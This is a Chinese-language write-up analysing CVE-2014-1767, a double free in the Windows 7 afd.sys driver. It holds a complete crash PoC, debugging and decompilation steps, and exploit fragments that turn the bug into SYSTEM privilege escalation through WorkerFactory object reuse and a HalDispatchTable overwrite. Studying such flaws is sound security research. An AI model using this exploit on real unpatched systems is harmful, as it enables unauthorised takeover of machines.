CVE-2014-1767 Windows内核Double Free漏洞分析

0x00:前言

这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏洞奖”得主,影响力还是很大的,实验环境的一些文件我放到GitHub上了,需要的自行下载:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767

0x01:实验环境

  • Windows 7 x86(虚拟机)
  • Windbg 10.0.17134.1 + virtualKD(双机调试)
  • Visual C++ 6.0(编译器)
  • IDA Pro(反汇编)
  • poc.exe
  • exp.exe

a.双机调试的环境如下:

环境配置

b.poc的生成(VC6.0下编译)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
DWORD targetSize=0x310;
DWORD virtualAddress=0x13371337;
DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
static DWORD inbuf1[100];
memset(inbuf1,0,sizeof(inbuf1));
inbuf1[6]=virtualAddress;
inbuf1[7]=mdlSize;
inbuf1[10]=1;
static DWORD inbuf2[100];
memset(inbuf2,0,sizeof(inbuf2));
inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2,&WSAData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
memset(&sa,0,sizeof(sa));
sa.sin_port=htons(135);
sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
sa.sin_family=AF_INET;
ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
return 0;
}

0x02:漏洞原理

该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

知识点

Double free,内核相关知识等等

0x03:漏洞分析

1.初步分析

调试运行poc得到以下报错,崩溃原因是重复释放了一块已经被释放了的内存:
1

调用堆栈信息:
2

我们可以得到如下函数的调用关系:

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl->nt!ExFreePoolWithTag->nt!KeBugCheck2

可以看到,出问题的是afd模块,我们查看afd模块详细信息:
3

得到以上分析后,我们需要搞清楚poc做了什么事情,首先初始化本地socket连接,然后发送了两次数据,poc一共调用了两次DeviceIoControl函数,向控制码0x1207F和0x120C3发送了数据,我们直接从这两次IO控制码分发函数入手。

2. 第一次调用分析(0x1207F)

我们首先针对nt!NtDeviceIoControlFile设置条件断点,当其在处理0x1207F时断下,根据官方文档,该函数的第六个参数是IO控制码,也就是esp+18,因此条件断点为:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”

4

1)AfdTransmitFile 函数分析

断下来之后查看堆栈情况和调用情况:
5

可以使用wt命令跟踪后续函数调用过程,可以发现,当 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile 函数,我们直接对这个函数进行分析,这里我们直接用IDA反编译Afd中的AfdTransmitFile函数,因为该函数有两个参数(pIRP和pIoStackLocation),我们将反编译的a1,a2改名为该参数,通过 IoStackLocation 我们就可以访问用户传递的数据了:
6

通过分析,我们想要调用AfdTliGetTpInfo函数,必须满足这三个条件:

(v54 & 0xFFFFFFC8) ==0
(v54 & 0x30) != 0x30
(v54 & 0x30) != 0

2)AfdTliGetTpInfo 函数分析

满足上面条件之后,程序会调用AfdTliGetTpInfo函数,TpInfoElementCount是这个函数的参数,该函数的返回值是一个指向TpInfo结构体的指针,根据对AfdTransmitFile剩余函数部分的分析,该结构体大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct TpInfo 
{
......
TpInfoElement *pTpInfoElement ; // +0x20, TpInfoElement数组指针
......
ULONG TpInfoElementCount; // +0x28, TpInfoElement数组元素个数
......
ULONG AfdTransmitIoLength; // +0x38, 传输的默认IO长度
......
}

struct TpInfoElement {
int status; // +0x00, 状态码
ULONG length ; // +0x04, 长度
PVOID VirtualAddress ; // +0x08, 虚拟地址
PVOID *pMdl ; // +0x0C, 指向MDL内存描述符表的指针
ULONG Reserved1 ; // +0x10, 未知
ULONG Reserved2 ; // +0x14, 未知
} ;

用IDA反编译AfdTliGetTpInfo函数可以发现:
7

以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体,函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下:

1
2
3
4
5
6
7
8
9
10
11
TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside) 
{
*(Lookaside+0x0C) ++ ;
tpInfo = InterlockedPopEntrySList( Lookaside )
if( tpInfo == NULL)
{
*(Lookaside+0x10)++;
tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
}
return tpInfo
}

AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数,我们直接分析赋值部分:

1
2
3
4
5
6
7
8
AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
……
tpInfo->pElemArray = tpInfo+0x90
tpInfo->elemCount = 0
tpInfo->isOuterMem = false
……
}

根据上面的几个函数调用关系,我们可以大致分析的出来函数的调用顺序,经过以下调用,我们可以得到一个tpInfo结构体:

ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo

现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:
8

MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值,因此触发异常,调用AfdReturnTpInfo函数:
9

在AfdReturnTpInfo函数中,由于在释放MDL资源后,未对TpInfoElement+0xC指针清空,导致后面再次调用时将被IoFreeMdl函数用于释放内存,导致双重释放漏洞。
10

3. 第二次调用分析(0x120C3)

第二次追踪控制码,程序会调用afd!AfdTransmitPackets函数,我们继续下条件断点:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”

11

afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation,我们用IDA反编译查看分析,需要满足以下三个条件实现AfdTdiGetTpInfo函数:
12

Poc中设置inbuf2为0xAAAAAAA个TpInfoElement,一共占0x18*0xAAAAAAA = 0xFFFFFFF0,显然申请如此大内存会触发异常调用AfdReturnTpInfo函数
13

继续运行,该函数再次调用时会触发漏洞,导致系统蓝屏
14

0x04:漏洞利用

1.思路

思路是不可能有思路的,这里当然是选择参考分析大佬的思路:
[1]. 调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
[2]. 创建某个对象,使得这个对象恰好占据刚才被 free 掉的空间,至此转化 double-free 为 use-after-free 问题
[3]. 调用 DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象
[4]. 覆盖被释放掉的对象为可控数据(伪造对象)
[5]. 尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,达到提权的效果
简而言之,就是把double free玩成了UAF,实现一个内存的写,然后hook掉该函数

2.对象的选择

由于对象的大小要等于第一次free的大小,并且这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出,MDL 对象的大小是由 virtualAddress 和 length 共同决定的,具体大小是:

1
2
pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12) 
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C

对于操作函数Siberas团队使用的是WorkerFactory函数,位置是反编译下图的exe,IDA中的函数是sub_468875
15

我们找到关键的地方分析:
16

可以看到,当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意数据的目的:

1
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;

我们可以设置 :

1
2
arg3 = ShellCode 
*(*object+0x10)+0x1C =(HalDispatchTable+0x4)=HaliQuerySystemInformation

这样就可以将shellcode地址写入HaliQuerySystemInformation,供后续shellcode执行。
我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数 据到它新申请的这个内存中去,说白了就是完成一次内核 Alloc 并且 memcpy 的操作,借助那篇 pdf 的思路,就是NtQueryEaFile 函数,下面是函数原型和关键的参数:
17

我们还是用IDA反编译看一下内容:
18

19

就是说内部会调用 :

1
2
p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49) 
memcpy(p, EaList)

其中 EaLength 与 EaList 都是输入参数,用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4,即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4,在对释放对象内存进行占用时,应该将对象大小objectsize – 4,才能成功占用。

3. 确定WorkerFactory对象的大小

WorkerFactory占用空间的大小我们跟踪这条链:

NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag

我们发现申请的内存大小是0xA0字节

4.exp的编写

这里借助会飞的猫大佬的exp,在VS2015,release版本下编译,提权成功,大佬的思路也非常清晰:
1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数,并设置好inbuf2的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD targetSize = 0xA0;
DWORD virtualAddress = 0x13371337;
DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;


static DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1));
inbuf1[6] = virtualAddress;
inbuf1[7] = Length;


static DWORD inbuf2[100];
memset(inbuf2, 0, sizeof(inbuf2));
inbuf2[0] = 1;
inbuf2[1] = 0x0AAAAAAA;

2)创建一个Workerfactory对象

1
2
3
4
5
6
7
8
9
//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}

3)第一次释放

1
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

4)第二次释放

1
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);

5)伪造对象并拷贝shellcode执行

1
2
3
4
5
6
7
8
9
int MyNtSetInformationWorkerFactory()
{
DWORD* tem = (DWORD*)malloc(0x20);
memset(tem, 'A', 0x20);
tem[0] = (DWORD)shellcode;

NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
return 0;
}

6)用户模式触发,系统权限调用cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
//Trigger from user mode
ULONG temp = 0;
status = NtQueryIntervalProfile(2, &temp);
if (!NT_SUCCESS(status))
{
printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
return -1;
}
printf("done!\n");
//Sleep(000);
//Create a new cmd process with current token
printf("Creating a new cmd...\n");
CreatNewCmd();

5.利用成功

漏洞利用

0x05:补丁分析

在win10下,调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生
20

0x06:总结

这个漏洞分析起来很麻烦,涉及的东西也很多,要有耐心才能分析的出来,从漏洞利用的思路,别人的exp编写来看,大牛确实厉害,自己的路还很长,希望自己有一天也能写出这样的exp来 。
参考资料:
[+] https://www.jianshu.com/p/6b01cfa41f0c
[+] https://www.cnblogs.com/flycat-2016/p/5450275.html
[+] https://bbs.pediy.com/thread-194457.htm